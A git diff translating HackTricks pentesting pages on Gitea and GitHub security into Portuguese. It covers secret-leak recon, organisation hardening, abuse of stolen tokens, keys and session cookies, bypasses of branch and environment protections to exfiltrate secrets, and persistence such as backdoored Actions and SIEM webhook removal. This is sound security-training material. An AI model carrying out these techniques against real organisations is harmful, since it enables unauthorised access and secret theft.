**não pode se passar pelo usuário com essas chaves**, mas se você não as usar, pode ser possível que você **seja descoberto por enviar commits sem uma assinatura**. -### **Personal Access Tokens** +### **Tokens de Acesso Pessoal** -You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +Você pode gerar um token de acesso pessoal para **dar a um aplicativo acesso à sua conta**. Um token de acesso pessoal dá acesso total à sua conta: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Aplicações Oauth -Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet: +Assim como os tokens de acesso pessoal, as **aplicações Oauth** terão **acesso completo** à sua conta e aos lugares que sua conta tem acesso porque, como indicado na [documentação](https://docs.gitea.io/en-us/oauth2-provider/#scopes), escopos ainda não são suportados: ![](<../../images/image (194).png>) -### Deploy keys +### Chaves de Deploy -Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. +Chaves de deploy podem ter acesso somente leitura ou de escrita ao repositório, então podem ser interessantes para comprometer repositórios específicos. -## Branch Protections +## Proteções de Branch -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +As proteções de branch são projetadas para **não dar controle completo de um repositório** aos usuários. O objetivo é **colocar vários métodos de proteção antes de poder escrever código dentro de algum branch**. -The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_ +As **proteções de branch de um repositório** podem ser encontradas em _https://localhost:3000/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> Não é **possível definir uma proteção de branch em nível de organização**. Portanto, todas devem ser declaradas em cada repositório. -Different protections can be applied to a branch (like to master): +Diferentes proteções podem ser aplicadas a um branch (como ao master): -- **Disable Push**: No-one can push to this branch -- **Enable Push**: Anyone with access can push, but not force push. -- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push) -- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs. -- **Enable Status checks:** Require status checks to pass before merging. -- **Require approvals**: Indicate the number of approvals required before a PR can be merged. -- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs. -- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass) -- **Block merge on official review requests**: If there official review requests it cannot be merged -- **Dismiss stale approvals**: When new commits, old approvals will be dismissed. -- **Require Signed Commits**: Commits must be signed. -- **Block merge if pull request is outdated** -- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes +- **Desabilitar Push**: Ninguém pode fazer push para este branch +- **Habilitar Push**: Qualquer um com acesso pode fazer push, mas não forçar push. +- **Whitelist Restricted Push**: Apenas usuários/equipes selecionados podem fazer push para este branch (mas sem forçar push) +- **Habilitar Merge Whitelist**: Apenas usuários/equipes na lista branca podem mesclar PRs. +- **Habilitar verificações de status:** Exigir que as verificações de status sejam aprovadas antes de mesclar. +- **Exigir aprovações**: Indicar o número de aprovações necessárias antes que um PR possa ser mesclado. +- **Restringir aprovações a usuários na lista branca**: Indicar usuários/equipes que podem aprovar PRs. +- **Bloquear mesclagem em revisões rejeitadas**: Se mudanças forem solicitadas, não pode ser mesclado (mesmo que as outras verificações passem) +- **Bloquear mesclagem em solicitações de revisão oficiais**: Se houver solicitações de revisão oficiais, não pode ser mesclado +- **Desconsiderar aprovações antigas**: Quando novos commits são feitos, aprovações antigas serão desconsideradas. +- **Exigir Commits Assinados**: Commits devem ser assinados. +- **Bloquear mesclagem se o pull request estiver desatualizado** +- **Padrões de arquivos protegidos/não protegidos**: Indicar padrões de arquivos para proteger/desproteger contra mudanças > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Como você pode ver, mesmo que você consiga obter algumas credenciais de um usuário, **repositórios podem estar protegidos evitando que você faça push de código para master**, por exemplo, para comprometer o pipeline CI/CD. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cdad12b57..e3ef98b6f 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -2,41 +2,41 @@ {{#include ../../banners/hacktricks-training.md}} -## What is Github +## O que é o Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. +(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar alterações em seu código**. -### Basic Information +### Informações Básicas {{#ref}} basic-github-information.md {{#endref}} -## External Recon +## Reconhecimento Externo -Github repositories can be configured as public, private and internal. +Os repositórios do Github podem ser configurados como públicos, privados e internos. -- **Private** means that **only** people of the **organisation** will be able to access them -- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it -- **Public** means that **all internet** is going to be able to access it. +- **Privado** significa que **apenas** pessoas da **organização** poderão acessá-los +- **Interno** significa que **apenas** pessoas da **empresa** (uma empresa pode ter várias organizações) poderão acessá-lo +- **Público** significa que **toda a internet** poderá acessá-lo. -In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. +Caso você conheça o **usuário, repositório ou organização que deseja atacar**, você pode usar **github dorks** para encontrar informações sensíveis ou pesquisar por **vazamentos de informações sensíveis** **em cada repositório**. ### Github Dorks -Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. +O Github permite **pesquisar algo especificando como escopo um usuário, um repositório ou uma organização**. Portanto, com uma lista de strings que vão aparecer próximas a informações sensíveis, você pode facilmente **pesquisar por informações sensíveis potenciais em seu alvo**. -Tools (each tool contains its list of dorks): +Ferramentas (cada ferramenta contém sua lista de dorks): -- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) -- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) -- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) +- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista de Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks)) +- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) +- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists)) ### Github Leaks -Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). +Por favor, note que os github dorks também são destinados a pesquisar vazamentos usando opções de pesquisa do github. Esta seção é dedicada a aquelas ferramentas que irão **baixar cada repositório e procurar informações sensíveis neles** (até verificando certa profundidade de commits). -Tools (each tool contains its list of regexes): +Ferramentas (cada ferramenta contém sua lista de regexes): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Quando você procura por vazamentos em um repositório e executa algo como `git log -p`, não se esqueça de que pode haver **outras branches com outros commits** contendo segredos! -### External Forks +### Forks Externos -It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork). +É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml do Github Actions. [**Mais informações sobre isso abaixo**](./#execution-from-a-external-fork). -### Github Leaks in deleted/internal forks +### Github Leaks em forks deletados/internos -Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here: +Mesmo que deletados ou internos, pode ser possível obter dados sensíveis de forks de repositórios do github. Confira aqui: {{#ref}} accessible-deleted-data-in-github.md {{#endref}} -## Organization Hardening +## Fortalecimento da Organização -### Member Privileges +### Privilégios dos Membros -There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). +Existem alguns **privilégios padrão** que podem ser atribuídos aos **membros** da organização. Estes podem ser controlados a partir da página `https://github.com/organizations//settings/member_privileges` ou da [**API de Organizações**](https://docs.github.com/en/rest/orgs/orgs). -- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**. -- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories. -- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages. -- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.** - - _I couldn't find this info in the APIs response, share if you do_ -- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled. - - _I couldn't find this info in the APIs response, share if you do_ -- **More things can be configured** in this page but the previous are the ones more security related. +- **Permissões básicas**: Os membros terão a permissão Nenhuma/Leitura/escrita/Admin sobre os repositórios da organização. O recomendado é **Nenhuma** ou **Leitura**. +- **Fork de repositório**: Se não for necessário, é melhor **não permitir** que os membros façam fork dos repositórios da organização. +- **Criação de páginas**: Se não for necessário, é melhor **não permitir** que os membros publiquem páginas dos repositórios da organização. Se necessário, você pode permitir a criação de páginas públicas ou privadas. +- **Solicitações de acesso à integração**: Com isso habilitado, colaboradores externos poderão solicitar acesso a aplicativos do GitHub ou OAuth para acessar esta organização e seus recursos. Geralmente é necessário, mas se não for, é melhor desabilitar. +- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_ +- **Mudança de visibilidade do repositório**: Se habilitado, **membros** com permissões **admin** para o **repositório** poderão **mudar sua visibilidade**. Se desabilitado, apenas os proprietários da organização podem mudar as visibilidades dos repositórios. Se você **não** quiser que as pessoas tornem as coisas **públicas**, certifique-se de que isso esteja **desabilitado**. +- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_ +- **Exclusão e transferência de repositórios**: Se habilitado, membros com permissões **admin** para o repositório poderão **excluir** ou **transferir** repositórios públicos e privados. +- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_ +- **Permitir que membros criem equipes**: Se habilitado, qualquer **membro** da organização poderá **criar** novas **equipes**. Se desabilitado, apenas os proprietários da organização podem criar novas equipes. É melhor ter isso desabilitado. +- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_ +- **Mais coisas podem ser configuradas** nesta página, mas as anteriores são as mais relacionadas à segurança. -### Actions Settings +### Configurações de Ações -Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`. +Várias configurações relacionadas à segurança podem ser configuradas para ações a partir da página `https://github.com/organizations//settings/actions`. > [!NOTE] -> Note that all this configurations can also be set on each repository independently +> Note que todas essas configurações também podem ser definidas em cada repositório de forma independente -- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run. - - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators. - - _I couldn't find an API with this info, share if you do_ -- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository. - - _I couldn't find an API with this info, share if you do_ -- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows. - - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) +- **Políticas de ações do Github**: Permite indicar quais repositórios podem executar fluxos de trabalho e quais fluxos de trabalho devem ser permitidos. É recomendado **especificar quais repositórios** devem ser permitidos e não permitir que todas as ações sejam executadas. +- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- **Fluxos de trabalho de pull request de fork de colaboradores externos**: É recomendado **exigir aprovação para todos** os colaboradores externos. +- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_ +- **Executar fluxos de trabalho de pull requests de fork**: É altamente **desaconselhado executar fluxos de trabalho de pull requests** pois os mantenedores do fork de origem terão a capacidade de usar tokens com permissões de leitura no repositório de origem. +- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_ +- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura de repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado para fluxos de trabalho em execução. +- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) -### Integrations +### Integrações -_Let me know if you know the API endpoint to access this info!_ +_Deixe-me saber se você conhece o endpoint da API para acessar essa informação!_ -- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them). -- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them). +- **Política de acesso a aplicativos de terceiros**: É recomendado restringir o acesso a todos os aplicativos e permitir apenas os necessários (após revisá-los). +- **Aplicativos do GitHub instalados**: É recomendado permitir apenas os necessários (após revisá-los). -## Recon & Attacks abusing credentials +## Reconhecimento e Ataques abusando de credenciais -For this scenario we are going to suppose that you have obtained some access to a github account. +Para este cenário, vamos supor que você obteve algum acesso a uma conta do github. -### With User Credentials +### Com Credenciais de Usuário -If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** +Se de alguma forma você já tem credenciais de um usuário dentro de uma organização, você pode **apenas fazer login** e verificar quais **papéis de empresa e organização você tem**, se você é um membro comum, verifique quais **permissões os membros comuns têm**, em quais **grupos** você está, quais **permissões você tem** sobre quais **repositórios** e **como os repositórios estão protegidos**. -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Note que **2FA pode ser usado**, então você só poderá acessar essas informações se também conseguir **passar por essa verificação**. > [!NOTE] -> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Note que se você **conseguir roubar o cookie `user_session`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA. -Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful. +Verifique a seção abaixo sobre [**bypasses de proteção de branch**](./#branch-protection-bypass) caso seja útil. -### With User SSH Key +### Com Chave SSH de Usuário -Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to: +O Github permite que **usuários** configurem **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada). +Com essa chave, você pode realizar **alterações em repositórios onde o usuário tem alguns privilégios**, no entanto, você não pode usá-la para acessar a API do github para enumerar o ambiente. No entanto, você pode **enumerar configurações locais** para obter informações sobre os repositórios e o usuário ao qual você tem acesso: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Se o usuário configurou seu nome de usuário como seu nome de usuário do github, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada. -If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### Chaves GPG -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Como explicado [**aqui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), às vezes é necessário assinar os commits ou você pode ser descoberto. +Verifique localmente se o usuário atual possui alguma chave com: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Com Token de Usuário -### With User Token +Para uma introdução sobre [**Tokens de Usuário, verifique as informações básicas**](basic-github-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). +Um token de usuário pode ser usado **em vez de uma senha** para Git sobre HTTPS, ou pode ser usado para [**autenticar na API via Autenticação Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependendo dos privilégios associados a ele, você pode ser capaz de realizar diferentes ações. -A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions. +Um token de usuário se parece com isso: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +### Com Aplicativo Oauth -### With Oauth Application +Para uma introdução sobre [**Aplicativos Oauth do Github, verifique as informações básicas**](basic-github-information.md#oauth-applications). -For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). +Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Esses são os [escopos que um aplicativo Oauth pode solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Um deve sempre verificar os escopos solicitados antes de aceitá-los. -These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them. +Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +### Com Aplicativo Github -### With Github Application +Para uma introdução sobre [**Aplicativos do Github, verifique as informações básicas**](basic-github-information.md#github-applications). -For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). +Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing. -An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +## Comprometimento & Abuso da Ação do Github -## Compromise & Abuse Github Action - -There are several techniques to compromise and abuse a Github Action, check them here: +Existem várias técnicas para comprometer e abusar de uma Ação do Github, verifique-as aqui: {{#ref}} abusing-github-actions/ {{#endref}} -## Branch Protection Bypass +## Bypass de Proteção de Branch -- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way. - - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ -- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch. -- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**. - - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.** -- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections. -- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections. -- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything. -- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back. -- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). - - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. +- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você tiver apenas a conta de onde criou o PR, não poderá aceitar seu próprio PR. No entanto, se você tiver acesso a um **ambiente de Ação do Github** dentro do repositório, usando o **GITHUB_TOKEN**, você pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma. +- _Nota para isso e para a restrição de Proprietários de Código que geralmente um usuário não poderá aprovar seus próprios PRs, mas se você puder, pode abusar disso para aceitar seus PRs._ +- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove e colocar código malicioso e mesclá-lo na branch protegida. +- **Exigir revisões de Proprietários de Código**: Se isso estiver ativado e você for um Proprietário de Código, poderá fazer uma **Ação do Github criar seu PR e então aprová-lo você mesmo**. +- Quando um **arquivo CODEOWNER está mal configurado**, o Github não reclama, mas não o utiliza. Portanto, se estiver mal configurado, **a proteção de Proprietários de Código não é aplicada.** +- **Permitir que atores especificados contornem os requisitos de pull request**: Se você for um desses atores, pode contornar as proteções de pull request. +- **Incluir administradores**: Se isso não estiver configurado e você for administrador do repositório, pode contornar essas proteções de branch. +- **Sequestro de PR**: Você pode ser capaz de **modificar o PR de outra pessoa** adicionando código malicioso, aprovando o PR resultante você mesmo e mesclando tudo. +- **Removendo Proteções de Branch**: Se você for um **administrador do repositório, pode desativar as proteções**, mesclar seu PR e reativar as proteções. +- **Contornando proteções de push**: Se um repositório **somente permite certos usuários** enviar push (mesclar código) em branches (a proteção de branch pode estar protegendo todas as branches especificando o curinga `*`). +- Se você tiver **acesso de escrita sobre o repositório, mas não for permitido enviar código** por causa da proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **ação do github que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que seja criada**, esse primeiro push de código para a branch **executará a ação do github**. -## Bypass Environments Protections +## Bypass de Proteções de Ambientes -For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). +Para uma introdução sobre [**Ambiente do Github, verifique as informações básicas**](basic-github-information.md#git-environments). -In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one). - -Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**. +Caso um ambiente possa ser **acessado de todas as branches**, ele **não está protegido** e você pode facilmente acessar os segredos dentro do ambiente. Note que você pode encontrar repositórios onde **todas as branches estão protegidas** (especificando seus nomes ou usando `*`); nesse cenário, **encontre uma branch onde você possa enviar código** e você pode **exfiltrar** os segredos criando uma nova ação do github (ou modificando uma). +Note que você pode encontrar o caso extremo onde **todas as branches estão protegidas** (via curinga `*`), é especificado **quem pode enviar código para as branches** (_você pode especificar isso na proteção de branch_) e **seu usuário não é permitido**. Você ainda pode executar uma ação do github personalizada porque pode criar uma branch e usar o gatilho de push sobre ela mesma. A **proteção de branch permite o push para uma nova branch, então a ação do github será acionada**. ```yaml push: # Run it when a push is made to a branch - branches: - - current_branch_name #Use '**' to run when a push is made to any branch +branches: +- current_branch_name #Use '**' to run when a push is made to any branch ``` +Note que **após a criação** do branch, a **proteção do branch será aplicada ao novo branch** e você não poderá modificá-lo, mas nesse momento você já terá extraído os segredos. -Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. +## Persistência -## Persistence +- Gerar **token de usuário** +- Roubar **tokens do github** de **segredos** +- **Deleção** de **resultados** e **branches** de workflow +- Dar **mais permissões a toda a org** +- Criar **webhooks** para exfiltrar informações +- Convidar **colaboradores externos** +- **Remover** **webhooks** usados pelo **SIEM** +- Criar/modificar **Github Action** com uma **porta dos fundos** +- Encontrar **Github Action vulnerável para injeção de comandos** via modificação de valor de **segredo** -- Generate **user token** -- Steal **github tokens** from **secrets** - - **Deletion** of workflow **results** and **branches** -- Give **more permissions to all the org** -- Create **webhooks** to exfiltrate information -- Invite **outside collaborators** -- **Remove** **webhooks** used by the **SIEM** -- Create/modify **Github Action** with a **backdoor** -- Find **vulnerable Github Action to command injection** via **secret** value modification +### Commits de Impostor - Porta dos fundos via commits de repositório -### Imposter Commits - Backdoor via repo commits - -In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. - -Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +No Github, é possível **criar um PR para um repositório a partir de um fork**. Mesmo que o PR não seja **aceito**, um **commit** id dentro do repositório original será criado para a versão fork do código. Portanto, um atacante **poderia fixar o uso de um commit específico de um repositório aparentemente legítimo que não foi criado pelo proprietário do repositório**. +Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] jobs: - commit: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e - - shell: bash - run: | - echo 'hello world!' +commit: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e +- shell: bash +run: | +echo 'hello world!' ``` - -For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +Para mais informações, consulte [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index c5ce0467b..a3dbaf009 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,389 +4,371 @@ ## Basic Information -In this page you will find: +Nesta página você encontrará: -- A **summary of all the impacts** of an attacker managing to access a Github Action -- Different ways to **get access to an action**: - - Having **permissions** to create the action - - Abusing **pull request** related triggers - - Abusing **other external access** techniques - - **Pivoting** from an already compromised repo -- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) +- Um **resumo de todos os impactos** de um atacante conseguindo acessar uma Github Action +- Diferentes maneiras de **obter acesso a uma ação**: +- Ter **permissões** para criar a ação +- Abusar de **gatilhos** relacionados a pull requests +- Abusar de **outras técnicas de acesso externo** +- **Pivotar** de um repositório já comprometido +- Finalmente, uma seção sobre **técnicas de pós-exploração para abusar de uma ação de dentro** (causando os impactos mencionados) ## Impacts Summary -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Para uma introdução sobre [**Github Actions, confira as informações básicas**](../basic-github-information.md#github-actions). -If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: +Se você pode **executar código arbitrário no GitHub Actions** dentro de um **repositório**, você pode ser capaz de: -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** and other **artifacts**. 